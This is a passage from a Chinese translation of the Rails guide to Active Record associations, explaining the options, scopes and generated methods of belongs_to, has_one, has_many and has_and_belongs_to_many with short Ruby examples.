计数缓存字段通过 attr_readonly 方法加入关联模型的只读属性列表中。

4.1.2.4 :dependent +

:dependent 选项控制属主销毁后怎么处理关联的对象:

+
    +
  • :destroy:也销毁关联的对象
  • +
  • :delete_all:直接从数据库中删除关联的对象(不执行回调)
  • +
  • :nullify:把外键设为 NULL(不执行回调)
  • +
  • :restrict_with_exception:如果有关联的记录,抛出异常
  • +
  • :restrict_with_error:如果有关联的对象,为属主添加一个错误
  • +
+

belongs_to 关联和 has_many 关联配对时,不应该设置这个选项,否则会导致数据库中出现无主记录。

4.1.2.5 :foreign_key +

按照约定,用来存储外键的字段名是关联名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron",
+                      foreign_key: "patron_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.1.2.6 :primary_key +

按照约定,Rails 假定使用表中的 id 列保存主键。使用 :primary_key 选项可以指定使用其他列。

假如有个 users 表使用 guid 列存储主键,todos 想在 guid 列中存储用户的 ID,那么可以使用 primary_key 选项设置:

+
+class User < ApplicationRecord
+  self.primary_key = 'guid' # 主键是 guid,不是 id
+end
+
+class Todo < ApplicationRecord
+  belongs_to :user, primary_key: 'guid'
+end
+
+
+
+

执行 @user.todos.create 时,@todo 记录的用户 ID 是 @userguid 值。

4.1.2.7 :inverse_of +

:inverse_of 选项指定 belongs_to 关联另一端的 has_manyhas_one 关联名。不能和 :polymorphic 选项一起使用。

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+
+
+
+

4.1.2.8 :polymorphic +

:polymorphic 选项为 true 时,表明这是个多态关联。多态关联已经详细介绍过多态关联。

4.1.2.9 :touch +

如果把 :touch 选项设为 true,保存或销毁对象时,关联对象的 updated_atupdated_on 字段会自动设为当前时间。

+
+class Book < ApplicationRecord
+  belongs_to :author, touch: true
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

在这个例子中,保存或销毁一本书后,会更新关联的作者的时间戳。还可指定要更新哪个时间戳字段:

+
+class Book < ApplicationRecord
+  belongs_to :author, touch: :books_updated_at
+end
+
+
+
+

4.1.2.10 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联的对象。该选项的默认值是 false,保存对象时不验证关联的对象。

4.1.2.11 :optional +

如果把 :optional 选项设为 true,不会验证关联的对象是否存在。该选项的默认值是 false

4.1.3 belongs_to 的作用域

有时可能需要定制 belongs_to 关联使用的查询,定制的查询可在作用域代码块中指定。例如:

+
+class Book < ApplicationRecord
+  belongs_to :author, -> { where active: true },
+                      dependent: :destroy
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个:

+
    +
  • where +
  • +
  • includes +
  • +
  • readonly +
  • +
  • select +
  • +
+

4.1.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class book < ApplicationRecord
+  belongs_to :author, -> { where active: true }
+end
+
+
+
+

4.1.3.2 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

如果经常要直接从商品上获取作者对象(@line_item.book.author),就可以在关联中把作者从商品引入图书中:

+
+class LineItem < ApplicationRecord
+  belongs_to :book, -> { includes :author }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

直接关联没必要使用 includes。如果 Book belongs_to :author,那么需要使用时会自动及早加载作者。

4.1.3.3 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.1.3.4 select +

select 方法用于覆盖检索关联对象使用的 SQL SELECT 子句。默认情况下,Rails 检索所有字段。

如果在 belongs_to 关联中使用 select 方法,应该同时设置 :foreign_key 选项,确保返回的结果正确。

4.1.4 什么时候保存对象

把对象赋值给 belongs_to 关联不会自动保存对象,也不会保存关联的对象。

4.2 has_one 关联详解

has_one 关联建立两个模型之间的一对一关系。用数据库术语来说,这种关联的意思是外键在另一个类中。如果外键在这个类中,应该使用 belongs_to 关联。

4.2.1 has_one 关联添加的方法

声明 has_one 关联后,声明所在的类自动获得了五个关联相关的方法:

+
    +
  • association +
  • +
  • association=(associate) +
  • +
  • build_association(attributes = {}) +
  • +
  • create_association(attributes = {}) +
  • +
  • create_association!(attributes = {}) +
  • +
+

这五个方法中的 association 要替换成传给 has_one 方法的第一个参数。对如下的声明来说:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+
+
+

每个 Supplier 模型实例都获得了这些方法:

+
+account
+account=
+build_account
+create_account
+create_account!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.2.1.1 association +

如果关联的对象存在,association 方法会返回关联的对象。如果找不到关联的对象,返回 nil

+
+@account = @supplier.account
+
+
+
+

如果关联的对象之前已经取回,会返回缓存版本。如果不想使用缓存版本,而是强制重新从数据库中读取,在父对象上调用 #reload 方法。

+
+@account = @supplier.reload.account
+
+
+
+

4.2.1.2 association=(associate) +

association= 方法用于赋值关联的对象。这个方法的底层操作是,从对象上读取主键,然后把关联的对象的外键设为那个值。

+
+@supplier.account = @account
+
+
+
+

4.2.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象链接的外键会自动设置,但关联对象不会存入数据库。

+
+@account = @supplier.build_account(terms: "Net 30")
+
+
+
+

4.2.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象链接的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@account = @supplier.create_account(terms: "Net 30")
+
+
+
+

4.2.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.2.2 has_one 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_one 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing", dependent: :nullify
+end
+
+
+
+

has_one 关联支持下列选项:

+
    +
  • :as +
  • +
  • :autosave +
  • +
  • :class_name +
  • +
  • :dependent +
  • +
  • :foreign_key +
  • +
  • :inverse_of +
  • +
  • :primary_key +
  • +
  • :source +
  • +
  • :source_type +
  • +
  • :through +
  • +
  • :validate +
  • +
+

4.2.2.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.2.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.2.2.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,供应商有一个账户,但表示账户的模型是 Billing,那么就可以这样声明关联:

+
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing"
+end
+
+
+
+

4.2.2.4 :dependent +

控制属主销毁后怎么处理关联的对象:

+
    +
  • :destroy:也销毁关联的对象;
  • +
  • :delete:直接把关联的对象从数据库中删除(不执行回调);
  • +
  • :nullify:把外键设为 NULL,不执行回调;
  • +
  • :restrict_with_exception:有关联的对象时抛出异常;
  • +
  • :restrict_with_error:有关联的对象时,向属主添加一个错误;
  • +
+

如果在数据库层设置了 NOT NULL 约束,就不能使用 :nullify 选项。如果 :dependent 选项没有销毁关联,就无法修改关联的对象,因为关联的对象的外键设置为不接受 NULL

4.2.2.5 :foreign_key +

按照约定,在另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class Supplier < ApplicationRecord
+  has_one :account, foreign_key: "supp_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.2.2.6 :inverse_of +

:inverse_of 选项指定 has_one 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Supplier < ApplicationRecord
+  has_one :account, inverse_of: :supplier
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier, inverse_of: :account
+end
+
+
+
+

4.2.2.7 :primary_key +

按照约定,用来存储该模型主键的字段名 id:primary_key 选项用于设置要使用的主键名。

4.2.2.8 :source +

:source 选项指定 has_one :through 关联的源关联名称。

4.2.2.9 :source_type +

:source_type 选项指定通过多态关联处理 has_one :through 关联的源关联类型。

4.2.2.10 :through +

:through 选项指定用于执行查询的联结模型。前文详细介绍过 has_one :through 关联。

4.2.2.11 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联的对象。该选项的默认值是 false,即保存对象时不验证关联的对象。

4.2.3 has_one 的作用域

有时可能需要定制 has_one 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面介绍其中几个:

+
    +
  • where +
  • +
  • includes +
  • +
  • readonly +
  • +
  • select +
  • +
+

4.2.3.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { where "confirmed = 1" }
+end
+
+
+
+

4.2.3.2 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+
+
+
+

如果经常直接获取供应商代表(@supplier.account.representative),可以把代表引入供应商和账户的关联中:

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+
+
+
+

4.2.3.3 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.2.3.4 select +

select 方法会覆盖获取关联对象使用的 SQL SELECT 子句。默认情况下,Rails 检索所有列。

4.2.4 检查关联的对象是否存在

检查关联的对象是否存在可以使用 association.nil? 方法:

+
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+
+
+
+

4.2.5 什么时候保存对象

把对象赋值给 has_one 关联时,那个对象会自动保存(因为要更新外键)。而且所有被替换的对象也会自动保存,因为外键也变了。

如果由于无法通过验证而导致上述保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_one 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_one 关联时不想保存对象,使用 association.build 方法。

4.3 has_many 关联详解

has_many 关联建立两个模型之间的一对多关系。用数据库术语来说,这种关联的意思是外键在另一个类中,指向这个类的实例。

4.3.1 has_many 关联添加的方法

声明 has_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection +
  • +
  • collection<<(object, &#8230;&#8203;) +
  • +
  • collection.delete(object, &#8230;&#8203;) +
  • +
  • collection.destroy(object, &#8230;&#8203;) +
  • +
  • collection=(objects) +
  • +
  • collection_singular_ids +
  • +
  • collection_singular_ids=(ids) +
  • +
  • collection.clear +
  • +
  • collection.empty? +
  • +
  • collection.size +
  • +
  • collection.find(&#8230;&#8203;) +
  • +
  • collection.where(&#8230;&#8203;) +
  • +
  • collection.exists?(&#8230;&#8203;) +
  • +
  • collection.build(attributes = {}, &#8230;&#8203;) +
  • +
  • collection.create(attributes = {}) +
  • +
  • collection.create!(attributes = {}) +
  • +
+

这些个方法中的 collection 要替换成传给 has_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。对如下的声明来说:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

每个 Author 模型实例都获得了这些方法:

+
+books
+books<<(object, ...)
+books.delete(object, ...)
+books.destroy(object, ...)
+books=(objects)
+book_ids
+book_ids=(ids)
+books.clear
+books.empty?
+books.size
+books.find(...)
+books.where(...)
+books.exists?(...)
+books.build(attributes = {}, ...)
+books.create(attributes = {})
+books.create!(attributes = {})
+
+
+
+

4.3.1.1 collection +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@books = @author.books
+
+
+
+

4.3.1.2 collection<<(object, &#8230;&#8203;) +

collection<< 方法向关联对象数组中添加一个或多个对象,并把各个所加对象的外键设为调用此方法的模型的主键。

+
+@author.books << @book1
+
+
+
+

4.3.1.3 collection.delete(object, &#8230;&#8203;) +

collection.delete 方法从关联对象数组中删除一个或多个对象,并把删除的对象外键设为 NULL

+
+@author.books.delete(@book1)
+
+
+
+

如果关联设置了 dependent: :destroy,还会销毁关联的对象;如果关联设置了 dependent: :delete_all,还会删除关联的对象。

4.3.1.4 collection.destroy(object, &#8230;&#8203;) +

collection.destroy 方法在关联对象上调用 destroy 方法,从关联对象数组中删除一个或多个对象。

+
+@author.books.destroy(@book1)
+
+
+
+

对象始终会从数据库中删除,忽略 :dependent 选项。

4.3.1.5 collection=(objects) +

collection= 方法让关联对象数组只包含指定的对象,根据需求会添加或删除对象。改动会持久存入数据库。

4.3.1.6 collection_singular_ids +

collection_singular_ids 方法返回一个数组,包含关联对象数组中各对象的 ID。

+
+@book_ids = @author.book_ids
+
+
+
+

4.3.1.7 collection_singular_ids=(ids) +

collection_singular_ids= 方法让关联对象数组中只包含指定的主键,根据需要会增删 ID。改动会持久存入数据库。

4.3.1.8 collection.clear +

collection.clear 方法根据 dependent 选项指定的策略删除集合中的所有对象。如果没有指定这个选项,使用默认策略。has_many :through 关联的默认策略是 delete_allhas_many 关联的默认策略是,把外键设为 NULL

+
+@author.books.clear
+
+
+
+

如果设为 dependent: :destroy,对象会被删除,这与 dependent: :delete_all 一样。

4.3.1.9 collection.empty? +

如果集合中没有关联的对象,collection.empty? 方法返回 true

+
+<% if @author.books.empty? %>
+  No Books Found
+<% end %>
+
+
+
+

4.3.1.10 collection.size +

collection.size 返回集合中的对象数量。

+
+@book_count = @author.books.size
+
+
+
+

4.3.1.11 collection.find(&#8230;&#8203;) +

collection.find 方法在集合中查找对象,使用的句法和选项跟 ActiveRecord::Base.find 方法一样。

+
+@available_books = @author.books.find(1)
+
+
+
+

4.3.2 collection.where(&#8230;&#8203;) +

collection.where 方法根据指定的条件在集合中查找对象,但对象是惰性加载的,即访问对象时才会查询数据库。

+
+@available_books = @author.books.where(available: true) # 尚未查询
+@available_book = @available_books.first # 现在查询数据库
+
+
+
+

4.3.2.1 collection.exists?(&#8230;&#8203;) +

collection.exists? 方法根据指定的条件检查集合中是否有符合条件的对象,使用的句法和选项跟 ActiveRecord::Base.exists? 方法一样。

4.3.2.2 collection.build(attributes = {}, &#8230;&#8203;) +

collection.build 方法返回一个或多个此种关联类型的新对象。这些对象会使用传入的属性初始化,还会创建对应的外键,但不会保存关联的对象。

+
+@book = @author.books.build(published_at: Time.now,
+                            book_number: "A12345")
+
+@books = @author.books.build([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+
+
+
+

4.3.2.3 collection.create(attributes = {}) +

collection.create 方法返回一个或多个此种关联类型的新对象。这些对象会使用传入的属性初始化,还会创建对应的外键,只要能通过所有数据验证,就会保存关联的对象。

+
+@book = @author.books.create(published_at: Time.now,
+                             book_number: "A12345")
+
+@books = @author.books.create([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+
+
+
+

4.3.3 collection.create!(attributes = {}) +

作用与 collection.create 相同,但如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.3.4 has_many 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Author < ApplicationRecord
+  has_many :books, dependent: :delete_all, validate: false
+end
+
+
+
+

has_many 关联支持以下选项:

+
    +
  • :as +
  • +
  • :autosave +
  • +
  • :class_name +
  • +
  • :counter_cache +
  • +
  • :dependent +
  • +
  • :foreign_key +
  • +
  • :inverse_of +
  • +
  • :primary_key +
  • +
  • :source +
  • +
  • :source_type +
  • +
  • :through +
  • +
  • :validate +
  • +
+

4.3.4.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.3.4.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.3.4.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,一位作者有多本图书,但表示图书的模型是 Transaction,那么可以这样声明关联:

+
+class Author < ApplicationRecord
+  has_many :books, class_name: "Transaction"
+end
+
+
+
+

4.3.4.4 :counter_cache +

这个选项用于定制计数缓存列的名称。仅当定制了 belongs_to 关联的 :counter_cache 选项时才需要设定这个选项。

4.3.4.5 :dependent +

设置销毁属主时怎么处理关联的对象:

+
    +
  • :destroy:也销毁所有关联的对象;
  • +
  • :delete_all:直接把所有关联的对象从数据库中删除(不执行回调);
  • +
  • :nullify:把外键设为 NULL,不执行回调;
  • +
  • :restrict_with_exception:有关联的对象时抛出异常;
  • +
  • :restrict_with_error:有关联的对象时,向属主添加一个错误;
  • +
+

4.3.4.6 :foreign_key +

按照约定,另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class Author < ApplicationRecord
+  has_many :books, foreign_key: "cust_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.3.4.7 :inverse_of +

:inverse_of 选项指定 has_many 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+
+
+
+

4.3.4.8 :primary_key +

按照约定,用来存储该模型主键的字段名为 id:primary_key 选项用于设置要使用的主键名。

假设 users 表的主键是 id,但还有一个 guid 列。根据要求,todos 表中应该使用 guid 列作为外键,而不是 id 列。这种需求可以这么实现:

+
+class User < ApplicationRecord
+  has_many :todos, primary_key: :guid
+end
+
+
+
+

如果执行 @todo = @user.todos.create 创建新的待办事项,那么 @todo.user_id 就是 @user 记录中 guid 字段的值。

4.3.4.9 :source +

:source 选项指定 has_many :through 关联的源关联名称。只有无法从关联名中解出源关联的名称时才需要设置这个选项。

4.3.4.10 :source_type +

:source_type 选项指定通过多态关联处理 has_many :through 关联的源关联类型。

4.3.4.11 :through +

:through 选项指定一个联结模型,查询通过它执行。前文说过,has_many :through 关联是实现多对多关联的方式之一。

4.3.4.12 :validate +

如果把 :validate 选项设为 false,保存对象时,不验证关联的对象。该选项的默认值是 true,即保存对象时验证关联的对象。

4.3.5 has_many 的作用域

有时可能需要定制 has_many 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Author < ApplicationRecord
+  has_many :books, -> { where processed: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面介绍其中几个:

+
    +
  • where +
  • +
  • extending +
  • +
  • group +
  • +
  • includes +
  • +
  • limit +
  • +
  • offset +
  • +
  • order +
  • +
  • readonly +
  • +
  • select +
  • +
  • distinct +
  • +
+

4.3.5.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where "confirmed = 1" },
+                             class_name: "Book"
+end
+
+
+
+

条件还可以使用散列指定:

+
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where confirmed: true },
+                             class_name: "Book"
+end
+
+
+
+

如果 where 使用散列形式,通过这个关联创建的记录会自动使用散列中的作用域。针对上面的例子,使用 @author.confirmed_books.create@author.confirmed_books.build 创建图书时,会自动把 confirmed 列的值设为 true

4.3.5.2 extending +

extending 方法指定一个模块名,用于扩展关联代理。后文会详细介绍关联扩展。

4.3.5.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Author < ApplicationRecord
+  has_many :line_items, -> { group 'books.id' },
+                        through: :books
+end
+
+
+
+

4.3.5.4 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+
+
+

如果经常要直接获取作者购买的商品(@author.books.line_items),可以把商品引入作者和图书的关联中:

+
+class Author < ApplicationRecord
+  has_many :books, -> { includes :line_items }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+
+
+

4.3.5.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Author < ApplicationRecord
+  has_many :recent_books,
+    -> { order('published_at desc').limit(100) },
+    class_name: "Book",
+end
+
+
+
+

4.3.5.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.3.5.7 order +

order 方法指定获取关联对象时使用的排序方式,用在 SQL ORDER BY 子句中。

+
+class Author < ApplicationRecord
+  has_many :books, -> { order "date_confirmed DESC" }
+end
+
+
+
+

4.3.5.8 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.3.5.9 select +

select 方法用于覆盖检索关联对象数据的 SQL SELECT 子句。默认情况下,Rails 会检索所有列。

如果设置 select 选项,记得要包含主键和关联模型的外键。否则,Rails 会抛出异常。

4.3.5.10 distinct +

使用 distinct 方法可以确保集合中没有重复的对象。与 :through 选项一起使用最有用。

+
+class Person < ApplicationRecord
+  has_many :readings
+  has_many :articles, through: :readings
+end
+
+person = Person.create(name: 'John')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
+
+
+
+

在上面的代码中,读者读了两篇文章,即使是同一篇文章,person.articles 也会返回两个对象。

下面加入 distinct 方法:

+
+class Person
+  has_many :readings
+  has_many :articles, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
+
+
+
+

在这段代码中,读者还是读了两篇文章,但 person.articles 只返回一个对象,因为加载的集合已经去除了重复元素。

如果要确保只把不重复的记录写入关联模型的数据表(这样就不会从数据库中获取重复记录了),需要在数据表上添加唯一性索引。例如,数据表名为 readings,我们要保证其中所有的文章都没重复,可以在迁移中加入以下代码:

+
+add_index :readings, [:person_id, :article_id], unique: true
+
+
+
+

添加唯一性索引之后,尝试为同一个人添加两篇相同的文章会抛出 ActiveRecord::RecordNotUnique 异常:

+
+person = Person.create(name: 'Honda')
+article = Article.create(name: 'a1')
+person.articles << article
+person.articles << article # => ActiveRecord::RecordNotUnique
+
+
+
+

注意,使用 include? 等方法检查唯一性可能导致条件竞争。不要使用 include? 确保关联的唯一性。还是以前面的文章模型为例,下面的代码会导致条件竞争,因为多个用户可能会同时执行这一操作:

+
+person.articles << article unless person.articles.include?(article)
+
+
+
+

4.3.6 什么时候保存对象

把对象赋值给 has_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果由于无法通过验证而导致保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_many 关联时不想保存对象,使用 collection.build 方法。

4.4 has_and_belongs_to_many 关联详解

has_and_belongs_to_many 关联建立两个模型之间的多对多关系。用数据库术语来说,这种关联的意思是有个联结表包含指向这两个类的外键。

4.4.1 has_and_belongs_to_many 关联添加的方法

声明 has_and_belongs_to_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection +
  • +
  • collection<<(object, &#8230;&#8203;) +
  • +
  • collection.delete(object, &#8230;&#8203;) +
  • +
  • collection.destroy(object, &#8230;&#8203;) +
  • +
  • collection=(objects) +
  • +
  • collection_singular_ids +
  • +
  • collection_singular_ids=(ids) +
  • +
  • collection.clear +
  • +
  • collection.empty? +
  • +
  • collection.size +
  • +
  • collection.find(&#8230;&#8203;) +
  • +
  • collection.where(&#8230;&#8203;) +
  • +
  • collection.exists?(&#8230;&#8203;) +
  • +
  • collection.build(attributes = {}) +
  • +
  • collection.create(attributes = {}) +
  • +
  • collection.create!(attributes = {}) +
  • +
+

这些个方法中的 collection 要替换成传给 has_and_belongs_to_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。对如下的声明来说:

+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

每个 Part 模型实例都获得了这些方法:

+
+assemblies
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=(objects)
+assembly_ids
+assembly_ids=(ids)
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+
+
+
+

4.4.1.1 额外的列方法

如果 has_and_belongs_to_many 关联使用的联结表中,除了两个外键之外还有其他列,通过关联获取的记录中会包含这些列,但是只读的,因为 Rails 不知道如何保存对这些列的改动。

has_and_belongs_to_many 关联的联结表中使用其他字段的功能已经废弃。如果在多对多关联中需要使用这么复杂的数据表,应该用 has_many :through 关联代替 has_and_belongs_to_many 关联。

4.4.1.2 collection +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@assemblies = @part.assemblies
+
+
+
+

4.4.1.3 collection<<(object, &#8230;&#8203;) +

collection<< 方法向集合中添加一个或多个对象,并在联结表中创建相应的记录。

+
+@part.assemblies << @assembly1
+
+
+
+

这个方法是 collection.concatcollection.push 的别名。

4.4.1.4 collection.delete(object, &#8230;&#8203;) +

collection.delete 方法从集合中删除一个或多个对象,并删除联结表中相应的记录,但是不会销毁对象。

+
+@part.assemblies.delete(@assembly1)
+
+
+
+

4.4.1.5 collection.destroy(object, &#8230;&#8203;) +

collection.destroy 方法把集合中指定对象在联结表中的记录删除。这个方法不会销毁对象本身。

+
+@part.assemblies.destroy(@assembly1)
+
+
+
+

4.4.1.6 collection=(objects) +

collection= 方法让集合只包含指定的对象,根据需求会添加或删除对象。改动会持久存入数据库。

4.4.1.7 collection_singular_ids +

collection_singular_ids 方法返回一个数组,包含集合中各对象的 ID。

+
+@assembly_ids = @part.assembly_ids
+
+
+
+

4.4.1.8 collection_singular_ids=(ids) +

collection_singular_ids= 方法让集合中只包含指定的主键,根据需要会增删 ID。改动会持久存入数据库。

4.4.1.9 collection.clear +

collection.clear 方法删除集合中的所有对象,并把联结表中的相应记录删除。这个方法不会销毁关联的对象。

4.4.1.10 collection.empty? +

如果集合中没有任何关联的对象,collection.empty? 方法返回 true

+
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+
+
+
+

4.4.1.11 collection.size +

collection.size 方法返回集合中的对象数量。

+
+@assembly_count = @part.assemblies.size
+
+
+
+

4.4.1.12 collection.find(&#8230;&#8203;) +

collection.find 方法在集合中查找对象,使用的句法和选项跟 ActiveRecord::Base.find 方法一样。此外还限制对象必须在集合中。

+
+@assembly = @part.assemblies.find(1)
+
+
+
+

4.4.1.13 collection.where(&#8230;&#8203;) +

collection.where 方法根据指定的条件在集合中查找对象,但对象是惰性加载的,访问对象时才执行查询。此外还限制对象必须在集合中。

+
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+
+
+
+

4.4.1.14 collection.exists?(&#8230;&#8203;) +

collection.exists? 方法根据指定的条件检查集合中是否有符合条件的对象,使用的句法和选项跟 ActiveRecord::Base.exists? 方法一样。

4.4.1.15 collection.build(attributes = {}) +

collection.build 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在联结表中创建对应的记录,但不会保存关联的对象。

+
+@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+
+
+
+

4.4.1.16 collection.create(attributes = {}) +

collection.create 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在联结表中创建对应的记录,只要能通过所有数据验证,就保存关联对象。

+
+@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+
+
+
+

4.4.1.17 collection.create!(attributes = {}) +

作用和 collection.create 相同,但如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.4.2 has_and_belongs_to_many 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_and_belongs_to_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { readonly },
+                                       autosave: true
+end
+
+
+
+

has_and_belongs_to_many 关联支持以下选项:

+
    +
  • :association_foreign_key +
  • +
  • :autosave +
  • +
  • :class_name +
  • +
  • :foreign_key +
  • +
  • :join_table +
  • +
  • :validate +
  • +
+

4.4.2.1 :association_foreign_key +

按照约定,在联结表中用来指向另一个模型的外键名是模型名后加 _id:association_foreign_key 选项用于设置要使用的外键名:

:foreign_key:association_foreign_key 这两个选项在设置多对多自联结时很有用。例如:

+
+class User < ApplicationRecord
